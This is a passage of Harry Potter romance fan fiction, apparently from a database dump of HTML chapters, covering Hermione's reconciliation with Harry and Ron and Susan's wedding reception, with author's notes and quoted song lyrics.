class="MsoNormal">&#8220;No.&#8221; Alexa\nreplied. &#8220;I came over because I wanted to. I came over because he misses you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sighed.\n&#8220;Well, I miss him too, but it doesn&#8217;t excuse him for what he did. He really\nhurt me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Alexa stared straight\nat her. &#8220;I know he did, and I know he&#8217;s not excused for his behaviour. But he&#8217;s\nbeen miserable since that night. Harry and I are very close, as you know, and\nI&#8217;ve seen him be upset over girls before, but nothing like this.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione felt\nherself soften at Alexa&#8217;s words; perhaps she had a point.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry really\nloves you.&#8221; Alexa continued. &#8220;Unfortunately, not even something like that can\nkeep his temper from flaring around our father. They haven&#8217;t gotten along since\nHarry and I were young teenagers. Dad wants to run Harry&#8217;s life, and he&#8217;s too\nindependent to follow orders like that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled\nat that remark. &#8220;That&#8217;s very true.&#8221; She said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry hasn&#8217;t\nbeen this happy since&#8230;well&#8230;as long as I can remember.&#8221; Alexa said, sitting up\nstraighter. &#8220;And to your credit, I&#8217;ve never seen a girl handle him better.&#8221; She\ngrinned. &#8220;That night you wrecked his Windrider&#8230;&#8221; she threw her head back and\nlaughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I thought you\nwere another girlfriend.&#8221; Hermione said, embarrassed. Alexa only laughed harder\nand Hermione began to giggle as well. &#8220;I was so shocked he wasn&#8217;t angry at me\nover that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8217;s very\nforgiving; especially with the people he loves.&#8221; Alexa&#8217;s laughter subsided.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s own\nlaughter ceased as well, and she now looked thoughtful. &#8220;You know, you&#8217;re\nright.&#8221; She admitted. &#8220;He had every right to hate me after that night and he\ndidn&#8217;t care.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, look&#8230;&#8221;\nAlexa began again, sensing that Hermione&#8217;s resolve was weakening. &#8220;He loves\nyou, he loves you a lot. Will you at least agree to talk with him?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t know.&#8221;\nHermione said, staring into the fire. &#8220;Have you ever had someone use you that\nway?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No.&#8221; Alexa\nreplied. &#8220;I&#8217;m sure I can&#8217;t even imagine how it must feel for someone to say\nthings like that.&#8221; She leaned forward. &#8220;But if I felt for them as much as you\nand Harry love each other, then I know I&#8217;d find a way to forgive them.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As much as she\nhated to admit it, Hermione realised that Alexa brought up a very good point.\n&#8220;Fine&#8230;I&#8217;ll talk to him.&#8221; She said. &#8220;But it&#8217;ll have to wait, I&#8217;m afraid, my best\nfriend is getting married in just a few days and we&#8217;re all extra busy with her\nwedding.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I understand.&#8221;\nAlexa said, getting up from the chair. &#8220;This means a lot to him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m not saying\nI&#8217;m forgiving him, Alexa.&#8221; Hermione said, also rising. &#8220;I&#8217;m just agreeing to\nhear him out. That&#8217;s all I can give at this point.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Alexa nodded.\n&#8220;Thank you.&#8221; She said, turning to leave. Hermione followed her out to the\nhallway and shut the door behind her. She only hoped she was doing the right\nthing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Well that\nwas a bit more uplifting, than the last chapter don&#8217;t you think? Please don&#8217;t&#8217;\nforget to leave a review after you&#8217;re done reading, if you&#8217;ve already taken the\n10 min or so to read take 20 seconds more to review. Thanks and get ready for a\nbig ol&#8217; party in the next ch! And it&#8217;s H/Hr again too :D Oh happy day&#8230;..</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(88, 18, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 18</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Well here it\nis&#8230;the &#8216;big event&#8217; you all have been waiting for! I bet you all have guessed by\nnow what it is :)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">If you\nhaven&#8217;t&#8230;come now, I&#8217;m not that hard to figure out ;)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Please don&#8217;t\nforget to review when you&#8217;re done, there&#8217;s only one more chapter after this!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And while you&#8217;re\nwaiting for it, check out my new ficlet called &#8216;One Night in the Library&#8217; it&#8217;s\nabout H/Hr and how I think they would get together :)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This chapter\nseems a lot longer than it actually is, due to SONGS!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And I apologise\nif the formatting is screwed up, Word was being a little bitch when I was\ntrying to transfer it over.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Thanks Huw, for\nhelping me with that bit ;)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron put his hand\nagainst the door as Susan was about to open it. &#8220;Do we really have to go in\nthere?&#8221; he asked, running his other hand up and down her arm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan smiled at\nhim. &#8220;You know we have to, Ron.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But I want to\nsteal you away now.&#8221; Ron said, leaning closer to her. His hand left her arm and\ntraced lightly across her cheek. &#8220;I don&#8217;t want to wait until later.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She felt like\nmelting into his embrace. &#8220;I don&#8217;t either Ron, but believe it or not we DO have\nto make an appearance at our own wedding reception!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I suppose you&#8217;re\nright,&#8221; Ron said, grinning at his new wife. &#8220;But first&#8230;&#8221; he bent down and\nkissed her. His arms wound around the beaded waist of her gown, and Susan\neagerly pressed her lips against his. They stood there for a few long moments,\nenjoying the newest level of their relationship when the door suddenly opened.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8230;I thought\nthey&#8217;d be here already but&#8212;Whoa!&#8221; Hermione said as she was greeted by the sight\nof Ron and Susan Weasley snogging before the door to the reception hall. &#8220;Sorry\nyou two!&#8221; she said, shutting the door again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan and Ron\ngrinned at each other as they heard laughter behind the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on then.&#8221;\nRon said, taking her hand securely in his. He pushed the door open and the room\nliterally exploded in cheers directed right at them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s about time\nyou two!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Congratulations!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Bloody hell Ron,\nwhy are you holding so tight to her hand?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A few other\nchoice comments came from the directions of Ron&#8217;s co-workers as the two of them\nmade their way through the crowd of people looking to celebrate with them. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan had finally\nfigured out why she could never make it down the aisle&#8212;she was scared to death\nof large crowds. Therefore, the only people at the actual ceremony were Susan&#8217;s\nparents, Ron&#8217;s parents, Lavender and Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron grinned as\nhis mother came up to Susan and grabbed her arm, pulling her away. She&#8217;d wept\nthroughout the entire ceremony, so happy that her youngest son had finally\nmarried. Molly Weasley adored Susan, and it was evident by the way she was\nhugging the young bride that she was absolutely thrilled that she was her\ndaughter in law. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Arthur Weasley\nwas in the corner, fooling around with what looked like a big black box. He\nkept plugging and unplugging various cords, and speaking into what looked like\na black ice cream cone.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dad what are you\ndoing?&#8221; Ron asked, escaping the crowd and going over to his father.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think this is\nthe right PLUG!&#8221; Arthur talked loudly into the ice cream cone gadget and his\nvoice reverberated throughout the room. Ron grinned and shook his head, his\nfather and his great fondness for Muggle machines. &#8220;ATTENTION!&#8221; Arthur shouted,\nand everyone covered their ears. &#8220;WE WILL BE STARTING THE DINNER SOON!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron tugged on his\nfather&#8217;s arm. &#8220;Dad I don&#8217;t think you have to shout in that thing&#8230;&#8221; he said\nquietly. &#8220;Just talk normally.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh.&#8221; Arthur said.\nHe raised the gadget back up. &#8220;Can everyone hear me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes!&#8221; a general\nchorus rang out. Arthur grinned and talked through it for a while more, he got\nsuch a kick out of Muggle things.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After going\nthrough the receiving line, everyone began to drift to their assigned tables.\nRon and Susan took their seats at the main table, and Hermione and Lavender\nslipped in beside them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It took about two\nhours for dinner to be finished, mainly because Ron&#8217;s brothers Fred and George\nthought it would be funny to enchant everyone&#8217;s spoons to tap the glass\nwhenever they lifted it. So during the appetizer, which was soup, they were\ninterrupted about seventy five times a minute to kiss each other.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Percy Weasley\ntried to start the dancing, but Molly pulled him away from the floor. &#8220;It&#8217;s\nyour brother&#8217;s wedding day, he and his wife need to start!&#8221; George took that as\nhis cue and ran up to the small stage the Muggle Karaoke machine was standing\non. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My brother and\nhis wife&#8230;.&#8221; He paused here for some loud and raucous cheers. &#8220;Have picked a\nsong for themselves that reflects their wonderful relationship.&#8221; He grinned in\nthe direction of the bride and groom. &#8220;Get out there you two!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron took Susan by\nthe hand and led her to the middle of the floor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I wish everyone\nwasn&#8217;t watching us.&#8221; Susan said in a low voice.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s all right\nlove.&#8221; Ron said. &#8220;Just think that it&#8217;s you and me only.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan nodded as\nRon wrapped his arms around her waist. George hit the button and started the\nsong.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As I look into\nyour eyes <br>\nI see all the reasons why <br>\nmy life\'s worth a thousand skies <br>\nyou\'re the simplest love I&#8217;ve known <br>\nand the purest one I&#8217;ll own <br>\nknow you\'ll never be alone </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan closed her\neyes and rested her head against Ron&#8217;s chest. He bent and kissed her hair\nsoftly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You okay?&#8221; he asked\nsoftly. Susan raised her head back up and looked at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think so.&#8221; She\nreplied, a smile curving over her lips. &#8220;I love you Ron.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I love you too,\nSusan.&#8221; He replied. They kissed again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><br>\n&nbsp;My baby you <br>\nare the reason I could fly <br>\nand \'cause of you <br>\nI don\'t have to wonder why <br>\nbaby you <br>\nthere\'s no more just getting by <br>\nyou\'re the reason I feel so alive </p>\n\n<p class="MsoNormal"><br>\nThough these words I say are true <br>\nthey still fail to capture you <br>\nas mere words can only do <br>\nhow do I explain that smile <br>\nand how it turns my world around <br>\nkeeping my feet on the ground </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione and\nLavender stood together at the side of the dance floor, watching their best\nfriend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She looks so\nhappy.&#8221; Hermione said. &#8220;She&#8217;s so lucky.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender turned\nand looked at her cousin. &#8220;You all right?&#8221; she noticed a sad tone in Hermione&#8217;s\nvoice.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sighed.\n&#8220;I&#8217;m all right.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re still\nthinking about Harry.&#8221; Lavender guessed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I thought for\nsure he&#8217;d come by to talk, especially after Alexa told me about how he was\nfeeling. But I haven&#8217;t heard anything from him.&#8221; Hermione said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sure he&#8217;ll\ncome around&#8230;&#8221; Lavender said reassuringly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What about you?&#8221;\nHermione asked. &#8220;I mean, how have you been since&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m&#8230;all right.&#8221;\nLavender replied. &#8220;It hasn&#8217;t stopped hurting, but I can think about him without\ncrying at least.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled.\n&#8220;You&#8217;re tough Lav.&#8221; She said, patting her cousin&#8217;s arm. &#8220;You&#8217;ll be just fine.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><br>\nMy baby you <br>\nare the reason I could fly <br>\nand \'cause of you <br>\nI don\'t have to wonder why <br>\nbaby you <br>\nthere\'s no more just getting by <br>\nyou\'re the reason I feel so alive</p>\n\n<p class="MsoNormal"><br>\nI will soothe you if you fall <br>\nI&#8217;ll be right there if you call <br>\nyou\'re my greatest love of all <br>\nMy baby you <br>\nare the reason I could fly <br>\nand \'cause of you <br>\nI don\'t have to wonder why <br>\nbaby you <br>\nthere\'s no more just getting by <br>\nyou\'re the reason I feel so alive<br>\nArianna I feel so alive&#8230;.<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron and Susan\ngrinned and kissed again as their song closed; the whole room burst into\nappreciative applause. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That wasn&#8217;t so\nbad, now was it?&#8221; Ron asked, as they were swept to the side by a crowd eager to\ndance.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not once the\nsong started.&#8221; Susan grinned back. &#8220;Kiss me again.&#8221; Ron obliged very willingly,\nand the two of them moved into a darker corner of the room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey Hermione,\ndance with me!&#8221; George Weasley said, jumping down from the stage. He grabbed\nher around the waist before she could protest and swung her around the floor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender smiled\nas she watched her cousin laugh as she danced. She turned to go get something\nto drink when she bumped into Leonora.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Can I talk to\nyou a moment Lavender?&#8221; Leonora asked. Without waiting for an answer she took\nLavender by the elbow and steered her to where the crowd had thinned out. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know that you\nare close to having enough for University so&#8230;&#8221; Leonora pulled an envelope from\nher small bag. &#8220;Here&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender looked\nat her boss curiously as she opened it. Inside was a note from Gringotts\nsimilar to the one Henry had given her, but this one would put her over the top\nfor what she needed. &#8220;Leonora no, I can&#8217;t take this!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, no&#8230;Victor\nand I talked about this. We don&#8217;t have any kids&#8230;just you, Hermione and Susan.&#8221;\nLeonora pushed the envelope back at Lavender. &#8220;It&#8217;s just a loan, so don&#8217;t get\ntoo excited.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender laughed.\n&#8220;Oh Leonora, thank you.&#8221; She hugged her tightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh come on\nGeorge, I can&#8217;t dance anymore!&#8221; Hermione laughed breathlessly. &#8220;You&#8217;re too\ncrazy, even for me!&#8221; she privately thought that George and Fred had spiked\ntheir drinks with some sort of dancing potion; Fred was out on the floor with\nhis wife Angelina and they were tangoing across the room, even though the song\nwas not that type. &#8220;I&#8217;ve got to get something to drink!&#8221; she fanned her face\nand left George.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione watched\nthe others dance as she sipped her glass of sparkling cider. She noted with\nglee that Ron and Susan had not left their corner for quite some time, and\neveryone was having so much fun on the dance floor that they hadn&#8217;t noticed.\nDowning the rest of her cider, she turned to put the glass back on the table.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Instead she found\nherself face to face with Harry Potter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They stood for a\nvery long moment just staring at one another, neither one could figure out what\nto say.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Finally, Hermione\nspoke. &#8220;What are you doing here?&#8221; she asked, trying to keep her voice cool. She\nfelt like she was failing miserably, the butterflies in her stomach were\nfluttering madly at his mere presence.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I came to talk\nto you.&#8221; Harry said. He held his hand out to her. &#8220;Can we go somewhere a little\nmore quiet?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stared\nat him a moment, then slipped her hand inside his. He wove his way through the\npeople and led her outside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I owe you an\napology.&#8221; He said as soon as she&#8217;d shut the door behind them. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione said\nnothing, but nodded slowly. &#8220;Okay&#8230;&#8221; she said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And what you\nsaid about me, and my father&#8230;&#8221; Harry said, taking the edge of his cloak in his\nhands and twisting it. &#8220;You were right&#8230;and I used you to make him mad&#8230;I&#8217;m\nreally sorry.&#8221; He said. &#8220;You didn&#8217;t deserve that at all.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re right, I\ndidn&#8217;t.&#8221; Hermione said, crossing her arms across her chest. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry gulped. &#8220;I\nrealize you don&#8217;t want to forgive me so fast, and I can understand&#8230;but I&#8217;m just\nhoping you&#8217;ll agree to give me another chance.&#8221; He reached back out and touched\nher face gently. &#8220;I love you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;&#8221; Hermione\nbegan.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes?&#8221; he asked\nquietly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I forgive you,\nHarry.&#8221; Hermione said, looking straight at him. &#8220;But it&#8217;s going to take awhile\nbefore I can fully trust you again.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry&#8217;s mouth was\nagape. &#8220;You&#8230;you do?&#8221; he stuttered. &#8220;You forgive me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Without\nanswering, Hermione took a step closer to him, and raised her hand up and\nrested it against his chest. &#8220;Are you really sorry?&#8221; she asked, tracing a light\npattern over his shirt.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes.&#8221; Harry said\nquickly, looking down at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really, really\nsorry?&#8221; she asked, coming closer.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes.&#8221; Harry\nrepeated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione brushed her\nlips against his in the tiniest of kisses. &#8220;Then prove it.&#8221; she said, and spun\nback around and was inside before Harry could even comprehend what had just\nhappened.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He followed her\nback inside, hoping to find out what she had meant, but she had already\ndisappeared into the crowd. Harry stood at the side of the room for a few\nmoments, trying to think of something to do, something to show her exactly how\nhe felt.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Summer\ndays&#8230;driftin&#8217; away&#8230;but oh&#8212;oh those Summer Niiiiiiiiights!&#8221; two tall, identical\nredheaded men were crooning to one another across the room on a small stage.\nThe audience around them screamed in approval as the two drew out the last\nnotes of the Muggle song. Harry grinned; he had the perfect idea now. He\nstarted across the room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you, thank\nyou!&#8221; George was shouting into the microphone. &#8220;If you&#8217;d like to leave us a\ntip, please do so!&#8221; he and Fred slapped each other a high five as they replaced\nthe microphones. George went to step downstage when a tap on the shoulder\ndistracted him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Fancy showing me\nhow to work this?&#8221; a young black haired man asked. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure.&#8221; George\nreplied, motioning to his brother. He turned back to the young man. &#8220;Say, you\nlook really familiar.&#8221; He said after he&#8217;d explained how to enter in the song\nthat he wanted. &#8220;I know I&#8217;ve seen you before.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He smiled\nbriefly. &#8220;That tends to happen when your picture is plastered in Witch Weekly\nall the time because of your father.&#8221;&nbsp; He\nstuck out his hand and George shook it. &#8220;I&#8217;m Harry Potter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">George smirked.\n&#8220;I don&#8217;t read Witch Weekly.&#8221; Then his eyes widened. &#8220;I know! I&#8217;ve seen you in\nmy joke shop!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Which one?&#8221;\nHarry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Weasleys Wizard\nWheezes.&#8221; George replied proudly. &#8220;I&#8217;m George, and that&#8217;s my brother Fred over\nthere. We own it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked\nimpressed. &#8220;Really! That&#8217;s a fantastic shop, I&#8217;ve gotten so many pranks from\nthere to play on my sister&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">George grinned,\nbut it faded. &#8220;Well, I hope we&#8217;ll still be open for awhile, but things haven&#8217;t\nlooked too good lately for us.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why?&#8221; Harry\nlooked astonished.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Zonko&#8217;s has come\nout with a brand new line of jokes, and we haven&#8217;t the money to develop more\nuntil we sell&#8230;&#8221; George looked a bit downcast.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;look I know\nI just met you, but if you need an investor&#8230;&#8221; Harry offered. &#8220;I&#8217;d be more than\nwilling to help you guys out.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">George&#8217;s mouth\nfell open. &#8220;Are you serious?&#8221; he turned and bellowed across the floor. &#8220;FRED!&#8221;\nAn instant later, the other twin was standing by them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What Forge?&#8221; he\nasked, sipping something out of a glass. Harry couldn&#8217;t tell if it was frothing\nor smoking. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">George clapped\nHarry heartily on the shoulder. &#8220;We&#8217;ve got someone willing to invest in our oh\nso wonderful company!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Fred&#8217;s eyes\nwidened. &#8220;Really?&#8221; he shouted, dancing around in a circle. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry old chum,\nI think this is the beginning of something good!&#8221; George beamed. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grinned.\n&#8220;So listen, how do I go about putting up a song? I&#8217;ve really got to see about a\ngirl&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right, right.&#8221;\nGeorge said. &#8220;Who is it you&#8217;re trying to impress, anyway?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry pointed.\n&#8220;Hermione Granger.&#8221; He replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Aiming high are\nyou?&#8221; George joked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry now\ngrinned. &#8220;We&#8217;ve been dating for awhile&#8230;then we had an argument a week or so\nago.&#8221; He flipped through the song titles and settled on one. &#8220;So now I&#8217;m trying\nto make her realize I&#8217;m serious about wanting to get back together.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well Harry, my\nchap&#8230;good luck.&#8221; George hit the button on the machine and Harry got onto the\nstage. He was a bit nervous.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Coughing a bit,\nhe shielded his eyes from the bright light that shone on the stage. &#8220;Uh&#8230;hello\neveryone&#8230;&#8221; he spoke into the contraption in his hand. &#8220;I&#8217;d uh&#8230;I&#8217;d like to sing\nyou a little something, to prove to a special girl just how much I love her.&#8221;\nHarry took a deep breath as the music started.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I&#8217;ve kissed the\nmoon a million times</p>\n\n<p class="MsoNormal">Danced with\nangels in the sky </p>\n\n<p class="MsoNormal">I&#8217;ve seen\nsnowfall in the summertime</p>\n\n<p class="MsoNormal">Felt the healing\nof the powers above</p>\n\n<p class="MsoNormal">I&#8217;ve seen the\nworld from the highest mountain</p>\n\n<p class="MsoNormal">Tasted love from\nthe purest fountain </p>\n\n<p class="MsoNormal">I&#8217;ve seen lips\nthat spark desire</p>\n\n<p class="MsoNormal">Felt the\nbutterflies a 